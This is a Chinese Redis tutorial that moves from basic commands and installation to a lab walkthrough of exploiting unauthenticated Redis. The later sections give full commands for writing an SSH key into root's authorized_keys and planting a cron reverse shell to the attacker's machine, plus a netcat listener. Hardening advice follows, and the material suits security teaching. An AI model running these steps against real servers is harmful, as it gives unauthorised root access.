0
点赞
收藏
分享

微信扫一扫

Redis数据库基础及未授权访问漏洞和利用

以前干嘛去了 2022-03-19 阅读 55

1.Redis数据库的介绍

2.Windows下部署Redis数据库

借助工具phpstudy

redisClient是图形界面 更多是辅助理解 主要还是命令操作

在以下的目录中执行cmd即可对redis数据库进行操作

D:\applications\phpstudy\Extensions\redis3.0.504

bind是绑定自己的ip

timeout是响应的最大超时时间

maxclients是最多支持的访问人数

database是默认的数据库的个数

maxmemory是最大使用的内存

3.命令操作

redis-cli -h 127.0.0.1   //连接数据库
ping  //回应pong说明成功
select 0   //选择第0个数据库 相当于点击以下db0
select [数字]   //选择哪个数据库

redis-cli -h [远程数据库的地址] -p 6379
quit   //退出

PS:如何让别人可以远程连接到自己的redis数据库

1.防火墙开放端口6379或者直接关闭防火墙

2.在redis.windows.conf中进行bind

4.数据库操作

键值对,键不能重复

基本设置值

flushall     //清空所有数据
set name1 yingge1     //添加键值对
get name1    //获得数据
set name2 yingge2 EX 5   //设置5s后失效的键值对
setex name2 5 yingge2    //设置5s后失效的键值对
ttl name2   //获得他的生命周期
mset key1 value11 key2 value22     //同时设置多个键值对
mget key1 key2     //同时获得多个键值对
append name1 zj11   //在name1的值后面增加zj11(拼接效果)

键命令

keys [正则表达式]
keys *    //取出所有的键
keys ke*     //取出所有以ke开头的键
keys name[0-3]     //取出name0-3的键
exists name2    //判断name2键是否存在  返回1表示存在  返回2表示不存在
del name3   //删除某一个键
expire name2 5    //设置键几秒过期

hash类型

设置hash类型
hset xiaoming height 180
hset xiaoming weight 60kg
hset xiaoming age 18
hget xiaoming height   //获得hash值
hget xiaoming age
hget xiaoming weight

hgetall xiaoming   //获得hash下所有的键值对
hmset xiaohong id 3 weight 220kg height 190     //同时设置多个值的hash
hkeys xiaohong    //获得hash下所有的key

hlen xiaohong   查看里面有多少个值 判断有多少个key
hvals xiaohong    //查看hash下所有的value

hmget xiaohong id weight   //提取hash特定的key的值
hdel xiaohong id height   //删除hash下特定的键值对

del xiaohong   //彻底删除某个hash值

list类型

如果lpush是从下往上累加东西(数据添加在最上层),其他运算就是从上往下进行操作

lpush list1 a1 a2 a3 a4 a5 a6 a7 a8 a9    //从左往右依次插入数据,此时第0个元素a1   在积木的最上层添加数据
rpush list2 a1 a2 a3 a4 a5 a6 a7 a8 a9   //从右往左依次插入数据,此时第0个元素a9   在积木的最下层添加数据
lrange list1 0 3    //从上往下取4个  从第0个开始取到第3个
lrange list1 0 -1   //取出所有内容
lset list1 2 b3     //取出从上往下的第3个并且值修改为b3
lrem [列表] [计数] [值]
如果计数>0,从头到尾搜索值并且删除对应的个数
如果计数<0,从尾到头搜索值并且删除对应的个数
如果计数=0,就删除所有的对应的值
lrem list2 0 a3    //删除所有的a3
lindex list3 [数字]      //查看列表中第几个元素
llen list3     //查看列表中有多少个值

set类型

无序集合,元素唯一,不重复,没有修改操作
sadd s1 member1 member2 member3   //新建一个set值
smembers s1    //获取s1里所有值
scard s1   //获取s1里有多少个元素
srem s1 member2    //删除set中的值
sinter s1 s2     //取出交集
sunion s1 s2   //取并集
sdiff s1 s2    //取差集

zset类型

有序集合,元素唯一,不重复,没有修改操作

每个元素关联一个score,也就是权重,从小到大权重排序

zadd zs1 4 xiaoming 5 xiaohong 2 xiaogang    //添加元素和对应的权重
zrange zs1 0 -1   //查看元素排序 从小到大往下
zrange zs1 0 1    //查看排名前两个的相应元素
zrangebyscore zs1 4 5    //取权重4-5之间的值
zrem zs1 xiaogang     //删除zset中的值

Linux下redis服务器的部署安装(Kali为例)

​
wget http://download.redis.io/releases/redis-4.0.9.tar.gz
//wget http://download.redis.io/redis-stable.tar.gz
tar zxvf redis-4.0.9.tar.gz
mv ./redis-4.0.9 /usr/local/redis
apt install make
make test
//apt install gcc
//make MALLOC=libc
//apt install tcl
make install
cd /usr/local/bin/
ls
ls -all
mkdir /etc/redis
cp /usr/local/redis/redis.conf /etc/redis/
cd /etc/redis
ls
nano redis.conf
bind 192.168.109.130
port 6379
daemonize yes
pidfile /var/run.redis_6379.pid
dbfilename dump.rdb

ctrl+x保存退出即可
redis-server /etc/redis/redis.conf
ps aux | grep redis
redis-cli -h 192.168.189.130
ping
set name1 haha123
get name1
save
exit
ls
cat dump.rdb

centos安装redis数据库

​yum install -y gcc
wget http://download.redis.io/releases/redis-5.0.3.tar.gz    #centos默认下载在了/root下 可以pwd查看目录
tar -zxvf redis-5.0.3.tar.gz
cd redis-5.0.3
make
make install PREFIX=/usr/local/redis
​

前台启动服务:

cd /usr/local/redis/bin/
./redis-server

后台启动服务:

从 redis 的源码目录中复制 redis.conf 到 redis 的安装目录

cp /root/redis-5.0.3/redis.conf /usr/local/redis/bin/

修改 redis.conf 文件,把 daemonize no 改为 daemonize yes

cd /usr/local/redis/bin/
vi redis.conf
#daemonize yes

开始后台启动

./redis-server redis.conf

设置开启启动:

vi /etc/systemd/system/redis.service

复制粘贴如下内容

[Unit]
Description=redis-server
After=network.target

[Service]
Type=forking
ExecStart=/usr/local/redis/bin/redis-server /usr/local/redis/bin/redis.conf
PrivateTmp=true

[Install]
WantedBy=multi-user.target



systemctl daemon-reload
systemctl start redis.service
systemctl enable redis.service

创建redis命令软链接

ln -s /usr/local/redis/bin/redis-cli /usr/bin/redis

接下来直接redis就可以进入redis数据库了

服务操作命令:

systemctl start redis.service   #启动redis服务
systemctl stop redis.service   #停止redis服务
systemctl restart redis.service   #重新启动服务
systemctl status redis.service   #查看服务当前状态
systemctl enable redis.service   #设置开机自启动
systemctl disable redis.service   #停止开机自启动

centos下解决redis-cli命令不存在的方法

wget http://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable
make
# 将redis-cli拷贝到/usr/local/bin/下,让redis-cli指令可以在任意目录下直接使用 
sudo cp src/redis-cli /usr/local/bin/

Redis增加密码的方式:

nano /etc/redis/redis.conf

requirepass haha123

redis-cli -h 192.168.189.130
shutdown
exit
redis-server /etc/redis/redis.conf
redis-cli -h 192.168.189.130
auth haha123   //第一种输入密码登录的方法

第二种直接登录的方法  远程连接的方法

redis-cli -h 192.168.189.130 -a haha123

----------------

---------------

Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略, 如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上

如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。

攻击者访问之后,利用Redis自身提供的config命令,可以进行写文件操作

可以成功把自己的SSH公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登陆目标服务器

简单来说,漏洞产生的条件有以下两点:

redis服务绑定在0.0.0.0:6379端口,而且信任了其他IP,导致了Redis服务暴露在公网上

没有设置密码认证,可以免密登陆Redis服务

危害:

导致敏感信息泄露,恶意执行flushall清空所有数据

通过Eval执行Lua代码,通过备份功能往磁盘写入后门文件

如果Redis服务以root身份运行,可以给root用户写入SSH公钥文件,直接通过SSH登陆服务器

Redis如果没有设置密码 或者设置的密码已经被知道了 都可以达到Redis未授权访问写入ssh的目的!

漏洞复现:(redis写ssh免密码登录漏洞)

1.首先搭建漏洞环境 进入redis数据库的配置文件

2.修改相应的策略 去掉IP绑定 允许除本地以外的主机登录redis  同时关闭保护模式 允许远程连接redis (漏洞原理)

 

3.接下来靶机中开启redis服务即可

redis-server /etc/redis/redis.conf

4.接下来在靶机中创建一个新的目录 用于后期存放ssh公钥

mkdir /root/.ssh

ps:如果存在了就可以不用创建了  ls无法查看  要通过ls -la才能看到是否存在

接下来进入攻击机部分:

1.这里条件原因 使用centos作为攻击机 所以需要先安装redis数据库 centos安装方法这里不多赘述

2.进入攻击机中 生成ssh公钥和私钥 密码设置为空

ssh-keygen -t rsa

ls -la

cd root/.ssh  //id_rsa  id_rsa.pub   known_hosts

3.进入.ssh目录以后 执行如下命令

(echo -e "\n\n"; cat id_rsa.pub;echo -e "\n\n") > key.txt

4.执行如下命令  redis-cli -h后面是靶机的ip地址  -x后面表示执行set 会把cat的内容设置进去  -a适用于redis有密码的情况 

cat key.txt | redis-cli -h 192.168.109.130 -a haha123 -x set xxx   //-x表示的是执行

5.写入完成 接下来远程登录redis

redis-cli -h 192.168.109.130 -a haha123

6.接下来可以查看刚才输入的键 并且获得相应的值以确定

keys *

get xxx

7.可以通过如下的命令获得redis备份的目录

config get dir

8.更改redis备份路径为ssh公钥存放的目录  一般默认在/root/.ssh

//ssh-keygen -t rsa  如果目标没有ssh 则测试起见可以生成一个

config set dir /root/.ssh

然后设置上传公钥的备份文件名字为 authorized_keys

config set dbfilename authorized_keys

检查是否更改成功 查看有没有authorized_keys文件 没有问题就保存退出 成功写入ssh公钥到靶机

config get dbfilename

save

9.确保靶机开启了ssh服务

10.在攻击机中使用ssh免密码登录靶机

ssh -i id_rsa root@192.168.109.130

原理:将自己的免密码登录的ssh写过去。如果你的redis密码被别人知道的话,别人完全可以写一个这样的东西 redis起到一个文件传输的枢纽作用

之后就可以免密码ssh登录到相应的linux服务器

此时可以进入靶机的目录查看一下.ssh下的文件来理解原理:

这东西本质是备份文件 会明文存储所有数据库中的键值对 所以刚刚设置的xxx的值是我们攻击机的私钥 那么这里更改名字和目录以后

文件内容恰好也就是私钥的内容了 也就无形之中实现了免密码的ssh认证 这样就可以直接免ssh密码实现登录ssh了

防范方法:

1.修改默认的端口

2.设置密码认证

3.尽量以低权限运行Redis服务 这样即使获得了ssh链接也是低权限

4.开启保护模式  绑定IP登录  不允许除本地以外的主机登录redis

Redis安全的部署

1.最好不要用root用户启动redis 可以用专门的用户去启动redis,单独为redis设置一个账号

2.设置本地localhost不允许外部访问

3.保护模式protected-mode开启 默认是开启的

4.端口6379进行修改,不要用默认端口,会被黑客链接

5.设置复杂的密码 也就是复杂的requirepass

--------------

--------------

Redis数据库(3)未授权访问下实现计划任务反弹shell

redis写文件

1.计划任务反弹shell(ubuntu不支持这么做,centOS可以)

(ubuntu中如果计划任务中存在乱码 会导致计划任务执行错误)

(centos会忽略乱码 执行格式正确部分的任务)

这里以kali作为攻击机 centos作为靶机 两者都安装了redis数据库

1.首先设置好环境 方法同未授权访问相同 支持远程且没有密码(密码已知也可行) 关闭保护模式

完全和之前相同的配置设置之后

记得关闭靶机的防火墙 否则无法连接

systemctl stop firewalld

2.从黑客攻击机(192.168.109.130)处进行redis连接靶机(192.168.109.134)

bash -i >& /dev/tcp/192.168.109.130/9999 0>&1   本身就是可以直接上线的命令 只不过借助redis写到了计划任务的位置
redis-cli -h 192.168.109.134
keys *
set haha "\n\n* * * * * bash -i >& /dev/tcp/192.168.109.130/9999 0>&1\n\n"
get haha
config set dir /var/spool/cron/
config set dbfilename root
save

3.靶机设置完计划任务以后 接下来黑客端可以借助nc进行监听

nc -nlvp 9999

为了理解原理不妨进入靶机的目录中查看相应文件内容

cd /var/spool/cron/

ls

cat root

常见计划任务地点  都可以用于把数据库备份伪造到相应的位置

/etc/crontab

/etc/cron.d/

/var/spool/cron/crontabs/   #前提是这个文件夹自己本身就是计划任务才行

2.写入一句话木马

和反弹shell一样的原理。可以在相应的网站的目录下写入一个一句话木马

一句话木马只要存在,即使出现乱码,也是可以执行的

所以可以尝试把一句话木马写入到相应的网站的目录下 这样就可以直接用工具去连接了

举报

相关推荐

0 条评论